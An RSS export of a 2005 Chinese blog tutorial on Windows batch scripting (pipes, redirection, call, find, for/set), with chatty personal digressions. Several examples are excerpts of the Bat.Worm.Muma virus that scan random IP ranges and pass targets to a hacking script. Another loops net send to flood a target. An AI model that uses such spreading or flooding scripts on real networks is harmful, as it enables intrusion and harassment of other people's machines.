﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-天行健,君子以自强不息！-文章分类-OS (操作系统)</title><link>http://www.cnitblog.com/altair/category/685.html</link><description>Altair's Blog</description><language>zh-cn</language><lastBuildDate>Mon, 26 Sep 2011 08:58:28 GMT</lastBuildDate><pubDate>Mon, 26 Sep 2011 08:58:28 GMT</pubDate><ttl>60</ttl><item><title>批处理程序学习</title><link>http://www.cnitblog.com/altair/articles/5906.html</link><dc:creator>Altair's Blog</dc:creator><author>Altair's Blog</author><pubDate>Fri, 30 Dec 2005 03:47:00 GMT</pubDate><guid>http://www.cnitblog.com/altair/articles/5906.html</guid><wfw:comment>http://www.cnitblog.com/altair/comments/5906.html</wfw:comment><comments>http://www.cnitblog.com/altair/articles/5906.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/altair/comments/commentRss/5906.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/altair/services/trackbacks/5906.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 批处理程序学习一.何为批处理文件(Batch File)批处理: 就是将不同时间所要做的工作集中在同时间内一次完成.批处理文件是一个以DOS指令与命令文件组成的文本文件，其扩展名为.BATe.g.:@echo off:mactestmacaddif not errorlevel 1 goto mac_passecho Mac Address Test Fail ...&nbsp;&nbsp;<a href='http://www.cnitblog.com/altair/articles/5906.html'>阅读全文</a><img src ="http://www.cnitblog.com/altair/aggbug/5906.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/altair/" target="_blank">Altair's Blog</a> 2005-12-30 11:47 <a href="http://www.cnitblog.com/altair/articles/5906.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Bat 批处理</title><link>http://www.cnitblog.com/altair/articles/5842.html</link><dc:creator>Altair's Blog</dc:creator><author>Altair's Blog</author><pubDate>Wed, 28 Dec 2005 03:53:00 GMT</pubDate><guid>http://www.cnitblog.com/altair/articles/5842.html</guid><wfw:comment>http://www.cnitblog.com/altair/comments/5842.html</wfw:comment><comments>http://www.cnitblog.com/altair/articles/5842.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/altair/comments/commentRss/5842.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/altair/services/trackbacks/5842.html</trackback:ping><description><![CDATA[<P>Bat 批处理<BR><BR>batch file<BR>这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。</P>
<P>先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！</P>
<P>按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。</P>
<P>OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句“闲话”：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。</P>
<P>例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：</P>
<P>ping sz.tencent.com &gt; a.txt<BR>ping sz1.tencent.com &gt;&gt; a.txt<BR>ping sz2.tencent.com &gt;&gt; a.txt<BR>ping sz3.tencent.com &gt;&gt; a.txt<BR>ping sz4.tencent.com &gt;&gt; a.txt<BR>ping sz5.tencent.com &gt;&gt; a.txt<BR>ping sz6.tencent.com &gt;&gt; a.txt<BR>ping sz7.tencent.com &gt;&gt; a.txt<BR>exit</P>
<P>是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里&gt;的意思，是把前面命令得到的东西放到后面所给的地方，&gt;&gt;的作用，和&gt;的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。</P>
<P>例二、再给出一个已经过时的例子（a.bat）：</P>
<P>@echo off<BR>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif<BR>a.bat</P>
<P>为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。</P>
<P><BR>2005-12-21 20:41:00<BR>阅读全文(113) | 回复(13) | 引用通告(0) | 编辑 </P>
<P>Re:bat批处理 <BR>手板模型</P>
<P>深圳手板<BR>&nbsp;<BR>2005-12-23 5:58:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>例二十一：</P>
<P>@echo off<BR>dir a.ttt /a &amp; dir a.txt || exit</P>
<P>例二十二：</P>
<P>@echo off<BR>dir a.ttt /a &amp;&amp; dir a.txt || exit</P>
<P>警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！</P>
<P>有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！</P>
<P>这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：“简明批处理教程”，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? &gt; a.txt &amp; start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！<BR>&nbsp;<BR>2005-12-21 20:57:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>下面介绍组合命令：&amp;、&amp;&amp;、||</P>
<P>组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。</P>
<P>刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？</P>
<P>忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！ </P>
<P>14、&amp;</P>
<P>这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：</P>
<P>copy a.txt b.txt /y &amp; del a.txt </P>
<P>其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&amp;两边的命令是有执行顺序的，从前往后执行。</P>
<P><BR>15、&amp;&amp;</P>
<P>切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&amp;命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：</P>
<P>dir 文件://1%/www/user.mdb &amp;&amp; copy 文件://1%/www/user.mdb e:\backup\www</P>
<P>如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：</P>
<P>if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www</P>
<P>至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。</P>
<P>你是否还记得“有些命令是不能同时执行的”？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果&gt;到a.txt里就ok了嘛，看例十八：</P>
<P>dir c:\ &amp;&amp; dir d:\ &gt; a.txt</P>
<P>仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&amp;&amp;命令和&gt;命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&amp;&amp;的优先级没有管道命令&gt;的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ &gt; a.txt，而并不是如你想的这两部分：dir c:\ &amp;&amp; dir d:\和&gt; a.txt。要使用组合命令&amp;&amp;达到题目的要求，必须得这么写：</P>
<P>dir c:\ &gt; a.txt &amp;&amp; dir d:\ &gt;&gt; a.txt</P>
<P>这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ &gt; a.txt和dir d:\ &gt;&gt; a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。</P>
<P>当然这里还可以利用&amp;命令（自己想一下道理哦）：</P>
<P>dir c:\ &gt; a.txt &amp; dir d:\ &gt;&gt; a.txt</P>
<P>16、||</P>
<P>这个命令的用法和&amp;&amp;几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：</P>
<P>@echo off<BR>dir s*.exe || exit</P>
<P>其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：</P>
<P>@echo off<BR>dir s*.exe || echo Didn't exist file s*.exe &amp; pause &amp; exit</P>
<P>这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。</P>
<P>给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二： <BR>2005-12-21 20:57:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：</P>
<P>help &gt; a.txt<BR>more a.txt<BR>del a.txt</P>
<P>这里利用另一管道命令&gt;生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。</P>
<P>结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。</P>
<P>12、&gt;、&gt;&gt;</P>
<P>这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，&gt;会清除掉原有文件中的内容后把新的内容写入原文件，而&gt;&gt;只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：</P>
<P>echo @echo off &gt; a.bat <BR>echo echo This is a pipeline command example. &gt;&gt; a.bat<BR>echo echo It is very easy? &gt;&gt; a.bat<BR>echo echo Believe your self! &gt;&gt; a.bat<BR>echo pause &gt;&gt; a.bat<BR>echo exit &gt;&gt; a.bat</P>
<P>依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：</P>
<P>@echo off <BR>echo This is a pipeline command example.<BR>echo It is very easy?<BR>echo Believe your self!<BR>pause<BR>exit</P>
<P>看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令&gt;和&gt;&gt;的区别如上所述。如果这里只用&gt;命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以&gt;和&gt;&gt;一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用&gt;了。结合例一再仔细体会输出重定向管道命令&gt;和&gt;&gt;的用法。</P>
<P>13、&lt;、&gt;&amp;、&lt;&amp;</P>
<P>这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。</P>
<P>&lt;，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。 <BR>&gt;&amp;，将一个句柄的输出写入到另一个句柄的输入中。 <BR>&lt;&amp;，刚好和&gt;&amp;相反，从一个句柄读取输入并将其写入到另一个句柄输出中。</P>
<P>关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。<BR>&nbsp;<BR>2005-12-21 20:56:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。</P>
<P>但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个“振奋人心”的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。</P>
<P>“课间休息”时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。</P>
<P>下面从管道命令讲起。常用的管道命令有以下这些：|、&gt;、&gt;&gt;</P>
<P>11、|</P>
<P>这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：</P>
<P>help | more</P>
<P>回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。</P>
<P>为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。</P>
<P>11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。</P>
<P>11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。<BR>&nbsp;<BR>2005-12-21 20:56:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。 </P>
<P>没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。 </P>
<P>不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。 </P>
<P>不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。<BR>&nbsp;<BR>2005-12-21 20:55:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）： </P>
<P>net send %1 This is a call example. <BR>call a.bat </P>
<P>这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。 </P>
<P>给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）： </P>
<P>call a.bat </P>
<P>一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。 </P>
<P>9、find </P>
<P>这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明： </P>
<P>@echo off <BR>netstat -a -n &gt; a.txt <BR>type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!" <BR>del a.txt <BR>pause &amp; exit </P>
<P>先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找“7626”（find a.txt "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。 </P>
<P>至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。 </P>
<P>10、for、set、shift </P>
<P>为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一： </P>
<P>@echo off <BR>for /? &gt; for.txt <BR>set /? &gt; set.txt <BR>shift /? &gt;shift.txt <BR>exit </P>
<P>执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二： </P>
<P>START.BAT： <BR>CALL MUMA.BAT <BR>SET IPA=192.168 <BR>CALL 10.BAT 0 <BR>:NEARAGAIN <BR>netstat -n|find ":" &gt;A.TMP <BR>FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&amp;&amp; SET NUM2=%%J&amp;&amp; SET NUM3=%%K&amp;&amp; SET NUM4=%%L&amp;&amp; SET NUM5=%%M&amp;&amp; CALL NEAR.BAT <BR>:START <BR>CALL RANDOM.BAT <BR>IF "%NUM1%"=="255" GOTO NEARAGAIN <BR>IF "%NUM1%"=="192" GOTO NEARAGAIN <BR>IF "%NUM1%"=="127" GOTO NEARAGAIN <BR>IF "%NUM2%"=="255" GOTO NEARAGAIN <BR>IF "%NUM3%"=="255" GOTO NEARAGAIN <BR>IF "%NUM4%"=="255" GOTO NEARAGAIN <BR>SET IPA=%NUM1%.%NUM2% <BR>ECHO START &gt; A.LOG <BR>PING %IPA%.%NUM3%.1&gt;B.TMP <BR>PING %IPA%.%NUM3%.%NUM4%&gt;&gt;B.TMP <BR>FIND /C /I "from" B.TMP <BR>IF ERRORLEVEL 1 GOTO START <BR>CALL 10.BAT %NUM3% <BR>DEL A.LOG <BR>GOTO START<BR>&nbsp;<BR>2005-12-21 20:53:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>8、call </P>
<P>学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）： </P>
<P>start.bat： <BR>…… <BR>CALL 10.BAT 0 <BR>…… </P>
<P>10.bat： <BR>…… <BR>ECHO %IPA%.%1 &gt;HFIND.TMP <BR>…… <BR>CALL ipc.bat IPCFind.txt </P>
<P>ipc.bat： <BR>for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k </P>
<P>有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。 </P>
<P>在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。<BR>&nbsp;<BR>2005-12-21 20:53:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>masm %1.asm <BR>if not errorlevel 1 link %1.obj <BR>pause &amp; edit %1.asm </P>
